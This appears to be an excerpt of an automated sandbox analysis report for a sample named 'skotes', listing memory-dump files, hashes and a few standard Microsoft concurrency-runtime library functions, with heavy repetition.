Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: ecfe62ef929350d78882d1c6e341c5c3ef44523c293da40fef441c1a61bfc854
Instruction ID: 2e49227132857f71d29a412286e74f04e182be34619953a8552e141c853e057c
Opcode Fuzzy Hash: ecfe62ef929350d78882d1c6e341c5c3ef44523c293da40fef441c1a61bfc854
Instruction Fuzzy Hash: 3221ED35521B159FDB24EF65C8908ABF3F5FF483007008A5EE442A7A91DB34F805CBA2

Function 00284885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00284893
ListArray.LIBCONCRT ref: 002848A5

Part of subcall function 00285555: _InternalDeleteHelper.LIBCONCRT ref: 00285564

ListArray.LIBCONCRT ref: 002848AF
_InternalDeleteHelper.LIBCONCRT ref: 002848C8

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: bf9f84604aa2d9fac5752413f1bb7ae713e2b544be21ff00c5d2b8ad062caed2
Instruction ID: e7d3aee0c3f7c08d1bf5bd0093d3bb234a9469f5deac5c83f262dfa497c99e1d
Opcode Fuzzy Hash: bf9f84604aa2d9fac5752413f1bb7ae713e2b544be21ff00c5d2b8ad062caed2
Instruction Fuzzy Hash: AE01D635612922AFDA15BF64DC82E6DB76ABF447107000129F80457696CF20EC719BA0

Function 0028EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0028EE6A
ListArray.LIBCONCRT ref: 0028EE7C

Part of subcall function 0028EF29: _InternalDeleteHelper.LIBCONCRT ref: 0028EF3B

ListArray.LIBCONCRT ref: 0028EE86
_InternalDeleteHelper.LIBCONCRT ref: 0028EE9F

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 78669545d6d8a1d65996b460383f90b9d1a6d4a096d4dd28b271d73ff66dd404
Instruction ID: 1ecde793a1d60759a200f080c1a7488f8f762fb9f70dfef02422cc7f6f4b94e9
Opcode Fuzzy Hash: 78669545d6d8a1d65996b460383f90b9d1a6d4a096d4dd28b271d73ff66dd404
Instruction Fuzzy Hash: 7301D635622521AFCE25BB60D8C2D7EBB69BF547207020029F50457A91CB20FC728BE0

Function 0028D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0028D0C5
ListArray.LIBCONCRT ref: 0028D0D7

Part of subcall function 0028C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0028C6C4

ListArray.LIBCONCRT ref: 0028D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0028D0FA

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: b04c49df2b26f16a9047fba8fd5daab8e9133e70554a6a0a3bf8f59b6d3533b6
Instruction ID: 0a0bb9ddae088972d2b0f5cffae16841b8fc7956a1a428503f2f5e0066d0c997
Opcode Fuzzy Hash: b04c49df2b26f16a9047fba8fd5daab8e9133e70554a6a0a3bf8f59b6d3533b6
Instruction Fuzzy Hash: DC01D635212521AFCA25BB60C886E6DB76DBF847107505025F444976D1DF31AC768BA0

Function 002933C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 002933DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 002933EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00293407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0029341F

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
